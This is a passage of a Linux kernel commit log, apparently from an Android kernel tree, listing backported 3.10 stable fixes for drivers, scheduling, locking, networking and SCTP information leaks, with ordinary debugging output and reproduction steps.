BLKZEROOUT ioctl. The argument is a pointer to two uint64_t values, so there is no need to translate it. Signed-off-by: Mikulas Patocka Acked-by: Martin K. Petersen Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4c56eedf0e3be84c2993dc9850dc8dac46bf8b24 Author: Antti Palosaari Date: Fri Jul 4 05:44:39 2014 -0300 media: tda10071: force modulation to QPSK on DVB-S commit db4175ae2095634dbecd4c847da439f9c83e1b3b upstream. Only supported modulation for DVB-S is QPSK. Modulation parameter contains invalid value for DVB-S on some cases, which leads driver refusing tuning attempt. Due to that, hard code modulation to QPSK in case of DVB-S. Signed-off-by: Antti Palosaari Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5dc68c8abf30a03b2e26b33fb29655a06bc61d0a Author: Hans Verkuil Date: Mon Jun 16 09:08:29 2014 -0300 media: hdpvr: fix two audio bugs commit 3445857b22eafb70a6ac258979e955b116bfd2c6 upstream. When the audio encoding is changed the driver calls hdpvr_set_audio with the current opt->audio_input value. However, that should have been opt->audio_input + 1. So changing the audio encoding inadvertently changes the input as well. This bug has always been there. The second bug was introduced in kernel 3.10 and that broke the default_audio_input module option handling: the audio encoding was never switched to AC3 if default_audio_input was set to 2 (SPDIF input). In addition, since starting with 3.10 the audio encoding is always set at the start the first bug now always happens when the driver is loaded. In the past this bug would only surface if the user would change the audio encoding after the driver was loaded. Also fixes a small trivial typo (bufffer -> buffer). Signed-off-by: Hans Verkuil Reported-by: Scott Doty Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit db453d6e0eb053c6c57508641377d409d2caeee8 Author: Greg Kroah-Hartman Date: Mon Jul 28 08:00:59 2014 -0700 Linux 3.10.50 Signed-off-by: Pranav Vashi commit ca802cfa88fed669358cfebe932594fe134c579b Author: Anton Kolesov Date: Fri Jun 20 20:28:39 2014 +0400 ARC: Implement ptrace(PTRACE_GET_THREAD_AREA) commit a4b6cb735b25aa84a462a1985e3e43bebaf5beb4 upstream. This patch adds implementation of GET_THREAD_AREA ptrace request type. This is required by GDB to debug NPTL applications. Signed-off-by: Anton Kolesov Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0287e579a45a67f1f3910ba296417cfedca12175 Author: Mateusz Guzik Date: Sat Jun 14 15:00:09 2014 +0200 sched: Fix possible divide by zero in avg_atom() calculation commit b0ab99e7736af88b8ac1b7ae50ea287fffa2badc upstream. proc_sched_show_task() does: if (nr_switches) do_div(avg_atom, nr_switches); nr_switches is unsigned long and do_div truncates it to 32 bits, which means it can test non-zero on e.g. x86-64 and be truncated to zero for division. Fix the problem by using div64_ul() instead. As a side effect calculations of avg_atom for big nr_switches are now correct. Signed-off-by: Mateusz Guzik Signed-off-by: Peter Zijlstra Cc: Linus Torvalds Link: http://lkml.kernel.org/r/1402750809-31991-1-git-send-email-mguzik@redhat.com Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 410fd1f28505570d5368ec3398f04a8b73811cdc Author: Peter Zijlstra Date: Fri Jun 6 19:53:16 2014 +0200 locking/mutex: Disable optimistic spinning on some architectures commit 4badad352a6bb202ec68afa7a574c0bb961e5ebc upstream. The optimistic spin code assumes regular stores and cmpxchg() play nice; this is found to not be true for at least: parisc, sparc32, tile32, metag-lock1, arc-!llsc and hexagon. There is further wreckage, but this in particular seemed easy to trigger, so blacklist this. Opt in for known good archs. Signed-off-by: Peter Zijlstra Reported-by: Mikulas Patocka Cc: David Miller Cc: Chris Metcalf Cc: James Bottomley Cc: Vineet Gupta Cc: Jason Low Cc: Waiman Long Cc: "James E.J. Bottomley" Cc: Paul McKenney Cc: John David Anglin Cc: James Hogan Cc: Linus Torvalds Cc: Davidlohr Bueso Cc: Benjamin Herrenschmidt Cc: Catalin Marinas Cc: Russell King Cc: Will Deacon Cc: linux-arm-kernel@lists.infradead.org Cc: linux-kernel@vger.kernel.org Cc: linuxppc-dev@lists.ozlabs.org Cc: sparclinux@vger.kernel.org Link: http://lkml.kernel.org/r/20140606175316.GV13930@laptop.programming.kicks-ass.net Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a2e8c5c5f2b6d8cd3e40d366bc5865519b3102b6 Author: Pranav Vashi Date: Fri Nov 18 00:58:43 2016 +0530 Revert "locking/mutex: Disable optimistic spinning on some architectures" This reverts commit 3c7eab79b2d1c1601b9da63bbce35387dc9bd4d3. Signed-off-by: Pranav Vashi commit f3e2e5edebdbaa04c53d108669524b62c13837f2 Author: Takashi Iwai Date: Tue Jul 15 08:51:27 2014 +0200 PM / sleep: Fix request_firmware() error at resume commit 4320f6b1d9db4ca912c5eb6ecb328b2e090e1586 upstream. The commit [247bc037: PM / Sleep: Mitigate race between the freezer and request_firmware()] introduced the finer state control, but it also leads to a new bug; for example, a bug report regarding the firmware loading of intel BT device at suspend/resume: https://bugzilla.novell.com/show_bug.cgi?id=873790 The root cause seems to be a small window between the process resume and the clear of usermodehelper lock. The request_firmware() function checks the UMH lock and gives up when it's in UMH_DISABLE state. This is for avoiding the invalid f/w loading during suspend/resume phase. The problem is, however, that usermodehelper_enable() is called at the end of thaw_processes(). Thus, a thawed process in between can kick off the f/w loader code path (in this case, via btusb_setup_intel()) even before the call of usermodehelper_enable(). Then usermodehelper_read_trylock() returns an error and request_firmware() spews WARN_ON() in the end. This oneliner patch fixes the issue just by setting to UMH_FREEZING state again before restarting tasks, so that the call of request_firmware() will be blocked until the end of this function instead of returning an error. Fixes: 247bc0374254 (PM / Sleep: Mitigate race between the freezer and request_firmware()) Link: https://bugzilla.novell.com/show_bug.cgi?id=873790 Signed-off-by: Takashi Iwai Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8b5f1df9211eaa08cda438cbffc127dcfe573134 Author: Mike Snitzer Date: Mon Jul 14 16:59:39 2014 -0400 dm cache metadata: do not allow the data block size to change commit 048e5a07f282c57815b3901d4a68a77fa131ce0a upstream. The block size for the dm-cache's data device must remained fixed for the life of the cache. Disallow any attempt to change the cache's data block size. Signed-off-by: Mike Snitzer Acked-by: Joe Thornber Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7fcbea6558778b8438717edfb75176107843394a Author: Mike Snitzer Date: Mon Jul 14 16:35:54 2014 -0400 dm thin metadata: do not allow the data block size to change commit 9aec8629ec829fc9403788cd959e05dd87988bd1 upstream. The block size for the thin-pool's data device must remained fixed for the life of the thin-pool. Disallow any attempt to change the thin-pool's data block size. It should be noted that attempting to change the data block size via thin-pool table reload will be ignored as a side-effect of the thin-pool handover that the thin-pool target does during thin-pool table reload. Here is an example outcome of attempting to load a thin-pool table that reduced the thin-pool's data block size from 1024K to 512K. Before: kernel: device-mapper: thin: 253:4: growing the data device from 204800 to 409600 blocks After: kernel: device-mapper: thin metadata: changing the data block size (from 2048 to 1024) is not supported kernel: device-mapper: table: 253:4: thin-pool: Error creating metadata object kernel: device-mapper: ioctl: error adding target to table Signed-off-by: Mike Snitzer Acked-by: Joe Thornber Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6ee60867beb89fdb0eb90712bf3726a9d40616a4 Author: John Stultz Date: Mon Jul 7 14:06:11 2014 -0700 alarmtimer: Fix bug where relative alarm timers were treated as absolute commit 16927776ae757d0d132bdbfabbfe2c498342bd59 upstream. Sharvil noticed with the posix timer_settime interface, using the CLOCK_REALTIME_ALARM or CLOCK_BOOTTIME_ALARM clockid, if the users tried to specify a relative time timer, it would incorrectly be treated as absolute regardless of the state of the flags argument. This patch corrects this, properly checking the absolute/relative flag, as well as adds further error checking that no invalid flag bits are set. Reported-by: Sharvil Nanavati Signed-off-by: John Stultz Cc: Thomas Gleixner Cc: Ingo Molnar Cc: Prarit Bhargava Cc: Sharvil Nanavati Link: http://lkml.kernel.org/r/1404767171-6902-1-git-send-email-john.stultz@linaro.org Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman [neo: Adapt for android.] Signed-off-by: Pranav Vashi commit e1001d643e88780199ceac0dbed03c7977b17da4 Author: Alex Deucher Date: Mon Jul 14 17:57:19 2014 -0400 drm/radeon: avoid leaking edid data commit 0ac66effe7fcdee55bda6d5d10d3372c95a41920 upstream. In some cases we fetch the edid in the detect() callback in order to determine what sort of monitor is connected. If that happens, don't fetch the edid again in the get_modes() callback or we will leak the edid. Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 60c61b84db927c181b0fa050e90811f1a0e70823 Author: Jason Wang Date: Mon May 12 16:35:39 2014 +0800 drm/qxl: return IRQ_NONE if it was not our irq commit fbb60fe35ad579b511de8604b06a30b43846473b upstream. Return IRQ_NONE if it was not our irq. This is necessary for the case when qxl is sharing irq line with a device A in a crash kernel. If qxl is initialized before A and A's irq was raised during this gap, returning IRQ_HANDLED in this case will cause this irq to be raised again after EOI since kernel think it was handled but in fact it was not. Cc: Gerd Hoffmann Signed-off-by: Jason Wang Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f36e43a3e46b8e36d656dfb8e2c4efb0063dafd5 Author: Alex Deucher Date: Tue Jul 15 09:48:53 2014 -0400 drm/radeon: set default bl level to something reasonable commit 201bb62402e0227375c655446ea04fcd0acf7287 upstream. If the value in the scratch register is 0, set it to the max level. This fixes an issue where the console fb blanking code calls back into the backlight driver on unblank and then sets the backlight level to 0 after the driver has already set the mode and enabled the backlight. bugs: https://bugs.freedesktop.org/show_bug.cgi?id=81382 https://bugs.freedesktop.org/show_bug.cgi?id=70207 Signed-off-by: Alex Deucher Tested-by: David Heidelberger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3872a000a8f7a126670595b942b08de6ea4ec67d Author: Tomasz Figa Date: Thu Jul 17 17:23:44 2014 +0200 irqchip: gic: Fix core ID calculation when topology is read from DT commit 29e697b11853d3f83b1864ae385abdad4aa2c361 upstream. Certain GIC implementation, namely those found on earlier, single cluster, Exynos SoCs, have registers mapped without per-CPU banking, which means that the driver needs to use different offset for each CPU. Currently the driver calculates the offset by multiplying value returned by cpu_logical_map() by CPU offset parsed from DT. This is correct when CPU topology is not specified in DT and aforementioned function returns core ID alone. However when DT contains CPU topology, the function changes to return cluster ID as well, which is non-zero on mentioned SoCs and so breaks the calculation in GIC driver. This patch fixes this by masking out cluster ID in CPU offset calculation so that only core ID is considered. Multi-cluster Exynos SoCs already have banked GIC implementations, so this simple fix should be enough. Reported-by: Lorenzo Pieralisi Reported-by: Bartlomiej Zolnierkiewicz Signed-off-by: Tomasz Figa Fixes: db0d4db22a78d ("ARM: gic: allow GIC to support non-banked setups") Link: https://lkml.kernel.org/r/1405610624-18722-1-git-send-email-t.figa@samsung.com Signed-off-by: Jason Cooper Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 32ee774578acccd69c6342160839e542f4bc81e7 Author: Matthias Brugger Date: Thu Jul 3 13:58:52 2014 +0200 irqchip: gic: Add support for cortex a7 compatible string commit a97e8027b1d28eafe6bafe062556c1ec926a49c6 upstream. Patch 0a68214b "ARM: DT: Add binding for GIC virtualization extentions (VGIC)" added the "arm,cortex-a7-gic" compatible string, but the corresponding IRQCHIP_DECLARE was never added to the gic driver. To let real Cortex-A7 SoCs use it, add the necessary declaration to the device driver. Signed-off-by: Matthias Brugger Link: https://lkml.kernel.org/r/1404388732-28890-1-git-send-email-matthias.bgg@gmail.com Fixes: 0a68214b76ca ("ARM: DT: Add binding for GIC virtualization extentions (VGIC)") Signed-off-by: Jason Cooper Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f8c18a17fe784d3d7483c45f27d9e5209c03737a Author: Martin Lau Date: Mon Jun 9 23:06:42 2014 -0700 ring-buffer: Fix polling on trace_pipe commit 97b8ee845393701edc06e27ccec2876ff9596019 upstream. ring_buffer_poll_wait() should always put the poll_table to its wait_queue even there is immediate data available. Otherwise, the following epoll and read sequence will eventually hang forever: 1. Put some data to make the trace_pipe ring_buffer read ready first 2. epoll_ctl(efd, EPOLL_CTL_ADD, trace_pipe_fd, ee) 3. epoll_wait() 4. read(trace_pipe_fd) till EAGAIN 5. Add some more data to the trace_pipe ring_buffer 6. epoll_wait() -> this epoll_wait() will block forever ~ During the epoll_ctl(efd, EPOLL_CTL_ADD,...) call in step 2, ring_buffer_poll_wait() returns immediately without adding poll_table, which has poll_table->_qproc pointing to ep_poll_callback(), to its wait_queue. ~ During the epoll_wait() call in step 3 and step 6, ring_buffer_poll_wait() cannot add ep_poll_callback() to its wait_queue because the poll_table->_qproc is NULL and it is how epoll works. ~ When there is new data available in step 6, ring_buffer does not know it has to call ep_poll_callback() because it is not in its wait queue. Hence, block forever. Other poll implementation seems to call poll_wait() unconditionally as the very first thing to do. For example, tcp_poll() in tcp.c. Link: http://lkml.kernel.org/p/20140610060637.GA14045@devbig242.prn2.facebook.com Fixes: 2a2cc8f7c4d0 "ftrace: allow the event pipe to be polled" Reviewed-by: Chris Mason Signed-off-by: Martin Lau Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aaab3896407c38e1ad2840640a3c7c0bbc83abbd Author: Amitkumar Karwar Date: Fri Jun 20 11:45:25 2014 -0700 mwifiex: fix Tx timeout issue commit d76744a93246eccdca1106037e8ee29debf48277 upstream. https://bugzilla.kernel.org/show_bug.cgi?id=70191 https://bugzilla.kernel.org/show_bug.cgi?id=77581 It is observed that sometimes Tx packet is downloaded without adding driver's txpd header. This results in firmware parsing garbage data as packet length. Sometimes firmware is unable to read the packet if length comes out as invalid. This stops further traffic and timeout occurs. The root cause is uninitialized fields in tx_info(skb->cb) of packet used to get garbage values. In this case if MWIFIEX_BUF_FLAG_REQUEUED_PKT flag is mistakenly set, txpd header was skipped. This patch makes sure that tx_info is correctly initialized to fix the problem. Reported-by: Andrew Wiley Reported-by: Linus Gasser Reported-by: Michael Hirsch Tested-by: Xinming Hu Signed-off-by: Amitkumar Karwar Signed-off-by: Maithili Hinge Signed-off-by: Avinash Patil Signed-off-by: Bing Zhao Signed-off-by: John W. Linville Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d65dacc1085e428b54d392e25837c6b0d0214eaf Author: HATAYAMA Daisuke Date: Wed Jun 25 10:09:07 2014 +0900 perf/x86/intel: ignore CondChgd bit to avoid false NMI handling commit b292d7a10487aee6e74b1c18b8d95b92f40d4a4f upstream. Currently, any NMI is falsely handled by a NMI handler of NMI watchdog if CondChgd bit in MSR_CORE_PERF_GLOBAL_STATUS MSR is set. For example, we use external NMI to make system panic to get crash dump, but in this case, the external NMI is falsely handled do to the issue. This commit deals with the issue simply by ignoring CondChgd bit. Here is explanation in detail. On x86 NMI watchdog uses performance monitoring feature to periodically signal NMI each time performance counter gets overflowed. intel_pmu_handle_irq() is called as a NMI_LOCAL handler from a NMI handler of NMI watchdog, perf_event_nmi_handler(). It identifies an owner of a given NMI by looking at overflow status bits in MSR_CORE_PERF_GLOBAL_STATUS MSR. If some of the bits are set, then it handles the given NMI as its own NMI. The problem is that the intel_pmu_handle_irq() doesn't distinguish CondChgd bit from other bits. Unlike the other status bits, CondChgd bit doesn't represent overflow status for performance counters. Thus, CondChgd bit cannot be thought of as a mark indicating a given NMI is NMI watchdog's. As a result, if CondChgd bit is set, any NMI is falsely handled by the NMI handler of NMI watchdog. Also, if type of the falsely handled NMI is either NMI_UNKNOWN, NMI_SERR or NMI_IO_CHECK, the corresponding action is never performed until CondChgd bit is cleared. I noticed this behavior on systems with Ivy Bridge processors: Intel Xeon CPU E5-2630 v2 and Intel Xeon CPU E7-8890 v2. On both systems, CondChgd bit in MSR_CORE_PERF_GLOBAL_STATUS MSR has already been set in the beginning at boot. Then the CondChgd bit is immediately cleared by next wrmsr to MSR_CORE_PERF_GLOBAL_CTRL MSR and appears to remain 0. On the other hand, on older processors such as Nehalem, Xeon E7540, CondChgd bit is not set in the beginning at boot. I'm not sure about exact behavior of CondChgd bit, in particular when this bit is set. Although I read Intel System Programmer's Manual to figure out that, the descriptions I found are: In 18.9.1: "The MSR_PERF_GLOBAL_STATUS MSR also provides a ¡sticky bit¢ to indicate changes to the state of performancmonitoring hardware" In Table 35-2 IA-32 Architectural MSRs 63 CondChg: status bits of this register has changed. These are different from the bahviour I see on the actual system as I explained above. At least, I think ignoring CondChgd bit should be enough for NMI watchdog perspective. Signed-off-by: HATAYAMA Daisuke Acked-by: Don Zickus Signed-off-by: Peter Zijlstra Cc: Arnaldo Carvalho de Melo Cc: Linus Torvalds Cc: linux-kernel@vger.kernel.org Link: http://lkml.kernel.org/r/20140625.103503.409316067.d.hatayama@jp.fujitsu.com Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1e698cacb7ec782def42e4f099a807ad6a2ec785 Author: Eric Dumazet Date: Mon Jul 21 07:17:42 2014 +0200 ipv4: fix buffer overflow in ip_options_compile() [ Upstream commit 10ec9472f05b45c94db3c854d22581a20b97db41 ] There is a benign buffer overflow in ip_options_compile spotted by AddressSanitizer[1] : Its benign because we always can access one extra byte in skb->head (because header is followed by struct skb_shared_info), and in this case this byte is not even used. [28504.910798] ================================================================== [28504.912046] AddressSanitizer: heap-buffer-overflow in ip_options_compile [28504.913170] Read of size 1 by thread T15843: [28504.914026] [] ip_options_compile+0x121/0x9c0 [28504.915394] [] ip_options_get_from_user+0xad/0x120 [28504.916843] [] do_ip_setsockopt.isra.15+0x8df/0x1630 [28504.918175] [] ip_setsockopt+0x30/0xa0 [28504.919490] [] tcp_setsockopt+0x5b/0x90 [28504.920835] [] sock_common_setsockopt+0x5f/0x70 [28504.922208] [] SyS_setsockopt+0xa2/0x140 [28504.923459] [] system_call_fastpath+0x16/0x1b [28504.924722] [28504.925106] Allocated by thread T15843: [28504.925815] [] ip_options_get_from_user+0x35/0x120 [28504.926884] [] do_ip_setsockopt.isra.15+0x8df/0x1630 [28504.927975] [] ip_setsockopt+0x30/0xa0 [28504.929175] [] tcp_setsockopt+0x5b/0x90 [28504.930400] [] sock_common_setsockopt+0x5f/0x70 [28504.931677] [] SyS_setsockopt+0xa2/0x140 [28504.932851] [] system_call_fastpath+0x16/0x1b [28504.934018] [28504.934377] The buggy address ffff880026382828 is located 0 bytes to the right [28504.934377] of 40-byte region [ffff880026382800, ffff880026382828) [28504.937144] [28504.937474] Memory state around the buggy address: [28504.938430] ffff880026382300: ........ rrrrrrrr rrrrrrrr rrrrrrrr [28504.939884] ffff880026382400: ffffffff rrrrrrrr rrrrrrrr rrrrrrrr [28504.941294] ffff880026382500: .....rrr rrrrrrrr rrrrrrrr rrrrrrrr [28504.942504] ffff880026382600: ffffffff rrrrrrrr rrrrrrrr rrrrrrrr [28504.943483] ffff880026382700: ffffffff rrrrrrrr rrrrrrrr rrrrrrrr [28504.944511] >ffff880026382800: .....rrr rrrrrrrr rrrrrrrr rrrrrrrr [28504.945573] ^ [28504.946277] ffff880026382900: ffffffff rrrrrrrr rrrrrrrr rrrrrrrr [28505.094949] ffff880026382a00: ffffffff rrrrrrrr rrrrrrrr rrrrrrrr [28505.096114] ffff880026382b00: ffffffff rrrrrrrr rrrrrrrr rrrrrrrr [28505.097116] ffff880026382c00: ffffffff rrrrrrrr rrrrrrrr rrrrrrrr [28505.098472] ffff880026382d00: ffffffff rrrrrrrr rrrrrrrr rrrrrrrr [28505.099804] Legend: [28505.100269] f - 8 freed bytes [28505.100884] r - 8 redzone bytes [28505.101649] . - 8 allocated bytes [28505.102406] x=1..7 - x allocated bytes + (8-x) redzone bytes [28505.103637] ================================================================== [1] https://code.google.com/p/address-sanitizer/wiki/AddressSanitizerForKernel Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 69d0d6d0d228876a8d4a23667bdd40011067e708 Author: Ben Hutchings Date: Mon Jul 21 00:06:48 2014 +0100 dns_resolver: Null-terminate the right string [ Upstream commit 640d7efe4c08f06c4ae5d31b79bd8740e7f6790a ] *_result[len] is parsed as *(_result[len]) which is not at all what we want to touch here. Signed-off-by: Ben Hutchings Fixes: 84a7c0b1db1c ("dns_resolver: assure that dns_query() result is null-terminated") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d8f4de231792fdfabeec718bd512068394f3f42f Author: Manuel Schölling Date: Sat Jun 7 23:57:25 2014 +0200 dns_resolver: assure that dns_query() result is null-terminated [ Upstream commit 84a7c0b1db1c17d5ded8d3800228a608e1070b40 ] dns_query() credulously assumes that keys are null-terminated and returns a copy of a memory block that is off by one. Signed-off-by: Manuel Schölling Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d7f39d9cdb2dfc59e25f6625751c383d28fc64c1 Author: Sowmini Varadhan Date: Wed Jul 16 10:02:26 2014 -0400 sunvnet: clean up objects created in vnet_new() on vnet_exit() [ Upstream commit a4b70a07ed12a71131cab7adce2ce91c71b37060 ] Nothing cleans up the objects created by vnet_new(), they are completely leaked. vnet_exit(), after doing the vio_unregister_driver() to clean up ports, should call a helper function that iterates over vnet_list and cleans up those objects. This includes unregister_netdevice() as well as free_netdev(). Signed-off-by: Sowmini Varadhan Acked-by: Dave Kleikamp Reviewed-by: Karl Volz Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 663405aaafcf33d3d4aedf58c7ccd9f5ecd48619 Author: Christoph Schulz Date: Sun Jul 13 00:53:15 2014 +0200 net: pppoe: use correct channel MTU when using Multilink PPP [ Upstream commit a8a3e41c67d24eb12f9ab9680cbb85e24fcd9711 ] The PPP channel MTU is used with Multilink PPP when ppp_mp_explode() (see ppp_generic module) tries to determine how big a fragment might be. According to RFC 1661, the MTU excludes the 2-byte PPP protocol field, see the corresponding comment and code in ppp_mp_explode(): /* * hdrlen includes the 2-byte PPP protocol field, but the * MTU counts only the payload excluding the protocol field. * (RFC1661 Section 2) */ mtu = pch->chan->mtu - (hdrlen - 2); However, the pppoe module *does* include the PPP protocol field in the channel MTU, which is wrong as it causes the PPP payload to be 1-2 bytes too big under certain circumstances (one byte if PPP protocol compression is used, two otherwise), causing the generated Ethernet packets to be dropped. So the pppoe module has to subtract two bytes from the channel MTU. This error only manifests itself when using Multilink PPP, as otherwise the channel MTU is not used anywhere. In the following, I will describe how to reproduce this bug. We configure two pppd instances for multilink PPP over two PPPoE links, say eth2 and eth3, with a MTU of 1492 bytes for each link and a MRRU of 2976 bytes. (This MRRU is computed by adding the two link MTUs and subtracting the MP header twice, which is 4 bytes long.) The necessary pppd statements on both sides are "multilink mtu 1492 mru 1492 mrru 2976". On the client side, we additionally need "plugin rp-pppoe.so eth2" and "plugin rp-pppoe.so eth3", respectively; on the server side, we additionally need to start two pppoe-server instances to be able to establish two PPPoE sessions, one over eth2 and one over eth3. We set the MTU of the PPP network interface to the MRRU (2976) on both sides of the connection in order to make use of the higher bandwidth. (If we didn't do that, IP fragmentation would kick in, which we want to avoid.) Now we send a ICMPv4 echo request with a payload of 2948 bytes from client to server over the PPP link. This results in the following network packet: 2948 (echo payload) + 8 (ICMPv4 header) + 20 (IPv4 header) --------------------- 2976 (PPP payload) These 2976 bytes do not exceed the MTU of the PPP network interface, so the IP packet is not fragmented. Now the multilink PPP code in ppp_mp_explode() prepends one protocol byte (0x21 for IPv4), making the packet one byte bigger than the negotiated MRRU. So this packet would have to be divided in three fragments. But this does not happen as each link MTU is assumed to be two bytes larger. So this packet is diveded into two fragments only, one of size 1489 and one of size 1488. Now we have for that bigger fragment: 1489 (PPP payload) + 4 (MP header) + 2 (PPP protocol field for the MP payload (0x3d)) + 6 (PPPoE header) -------------------------- 1501 (Ethernet payload) This packet exceeds the link MTU and is discarded. If one configures the link MTU on the client side to 1501, one can see the discarded Ethernet frames with tcpdump running on the client. A ping -s 2948 -c 1 192.168.15.254 leads to the smaller fragment that is correctly received on the server side: (tcpdump -vvvne -i eth3 pppoes and ppp proto 0x3d) 52:54:00:ad:87:fd > 52:54:00:79:5c:d0, ethertype PPPoE S (0x8864), length 1514: PPPoE [ses 0x3] MLPPP (0x003d), length 1494: seq 0x000, Flags [end], length 1492 and to the bigger fragment that is not received on the server side: (tcpdump -vvvne -i eth2 pppoes and ppp proto 0x3d) 52:54:00:70:9e:89 > 52:54:00:5d:6f:b0, ethertype PPPoE S (0x8864), length 1515: PPPoE [ses 0x5] MLPPP (0x003d), length 1495: seq 0x000, Flags [begin], length 1493 With the patch below, we correctly obtain three fragments: 52:54:00:ad:87:fd > 52:54:00:79:5c:d0, ethertype PPPoE S (0x8864), length 1514: PPPoE [ses 0x1] MLPPP (0x003d), length 1494: seq 0x000, Flags [begin], length 1492 52:54:00:70:9e:89 > 52:54:00:5d:6f:b0, ethertype PPPoE S (0x8864), length 1514: PPPoE [ses 0x1] MLPPP (0x003d), length 1494: seq 0x000, Flags [none], length 1492 52:54:00:ad:87:fd > 52:54:00:79:5c:d0, ethertype PPPoE S (0x8864), length 27: PPPoE [ses 0x1] MLPPP (0x003d), length 7: seq 0x000, Flags [end], length 5 And the ICMPv4 echo request is successfully received at the server side: IP (tos 0x0, ttl 64, id 21925, offset 0, flags [DF], proto ICMP (1), length 2976) 192.168.222.2 > 192.168.15.254: ICMP echo request, id 30530, seq 0, length 2956 The bug was introduced in commit c9aa6895371b2a257401f59d3393c9f7ac5a8698 ("[PPPOE]: Advertise PPPoE MTU") from the very beginning. This patch applies to 3.10 upwards but the fix can be applied (with minor modifications) to kernels as old as 2.6.32. Signed-off-by: Christoph Schulz Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bedf894257511d82f6f5bad3aadaafcc613ee448 Author: Daniel Borkmann Date: Sat Jul 12 20:30:35 2014 +0200 net: sctp: fix information leaks in ulpevent layer [ Upstream commit 8f2e5ae40ec193bc0a0ed99e95315c3eebca84ea ] While working on some other SCTP code, I noticed that some structures shared with user space are leaking uninitialized stack or heap buffer. In particular, struct sctp_sndrcvinfo has a 2 bytes hole between .sinfo_flags and .sinfo_ppid that remains unfilled by us in sctp_ulpevent_read_sndrcvinfo() when putting this into cmsg. But also struct sctp_remote_error contains a 2 bytes hole that we don't fill but place into a skb through skb_copy_expand() via sctp_ulpevent_make_remote_error(). Both structures are defined by the IETF in RFC6458: * Section 5.3.2. SCTP Header Information Structure: The sctp_sndrcvinfo structure is defined below: struct sctp_sndrcvinfo { uint16_t sinfo_stream; uint16_t sinfo_ssn; uint16_t sinfo_flags; <-- 2 bytes hole --> uint32_t sinfo_ppid; uint32_t sinfo_context; uint32_t sinfo_timetolive; uint32_t sinfo_tsn; uint32_t sinfo_cumtsn; sctp_assoc_t sinfo_assoc_id; }; * 6.1.3. SCTP_REMOTE_ERROR: A remote peer may send an Operation Error message to its peer. This message indicates a variety of error conditions on an association. The entire ERROR chunk as it appears on the wire is included in an SCTP_REMOTE_ERROR event. Please refer to the SCTP specification [RFC4960] and any extensions for a list of possible error formats. An SCTP error notification has the following format: struct sctp_remote_error { uint16_t sre_type; uint16_t sre_flags; uint32_t sre_length; uint16_t sre_error; <-- 2 bytes hole --> sctp_assoc_t sre_assoc_id; uint8_t sre_data[]; }; Fix this by setting both to 0 before filling them out. We also have other structures shared between user and kernel space in SCTP that contains holes (e.g. struct sctp_paddrthlds), but we copy that buffer over from user space first and thus don't need to care about it in that cases. While at it, we can also remove lengthy comments copied from the draft, instead, we update the comment with the correct RFC number where one can look it up. Signed-off-by: Daniel Borkmann Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd8afc50168ef64f53de6bad1fce2a7a34d6be08 Author: Jon Paul Maloy Date: Fri Jul 11 08:45:27 2014 -0400 tipc: clear 'next'-pointer of message fragments before reassembly [ Upstream commit 999417549c16dd0e3a382aa9f6ae61688db03181 ] If the 'next' pointer of the last fragment buffer in a message is not zeroed before reassembly, we risk ending up with a corrupt message, since the reassembly function itself isn't doing this. Currently, when a buffer is retrieved from the deferred queue of the broadcast link, the next pointer is not cleared, with the result as described above. This commit corrects this, and thereby fixes a bug that may occur when long broadcast messages are transmitted across dual interfaces. The bug has been present since 40ba3cdf542a469aaa9083fa041656e59b109b90 ("tipc: message reassembly using fragment chain") This commit should be applied to both net and net-next. Signed-off-by: Jon Maloy Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 54d7f0845a0457273e51a016cd0ed7c9e369a995 Author: Suresh Reddy Date: Fri Jul 11 14:03:01 2014 +0530 be2net: set EQ DB clear-intr bit in be_open() [ Upstream commit 4cad9f3b61c7268fa89ab8096e23202300399b5d ] On BE3, if the clear-interrupt bit of the EQ doorbell is not set the first time it is armed, ocassionally we have observed that the EQ doesn't raise anymore interrupts even if it is in armed state. This patch fixes this by setting the clear-interrupt bit when EQs are armed for the first time in be_open(). Signed-off-by: Suresh Reddy Signed-off-by: Sathya Perla Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2c6bb8ded21b9de01fdfdebd294d92238e20378b Author: Ben Pfaff Date: Wed Jul 9 10:31:22 2014 -0700 netlink: Fix handling of error from netlink_dump(). [ Upstream commit ac30ef832e6af0505b6f0251a6659adcfa74975e ] netlink_dump() returns a negative errno value on 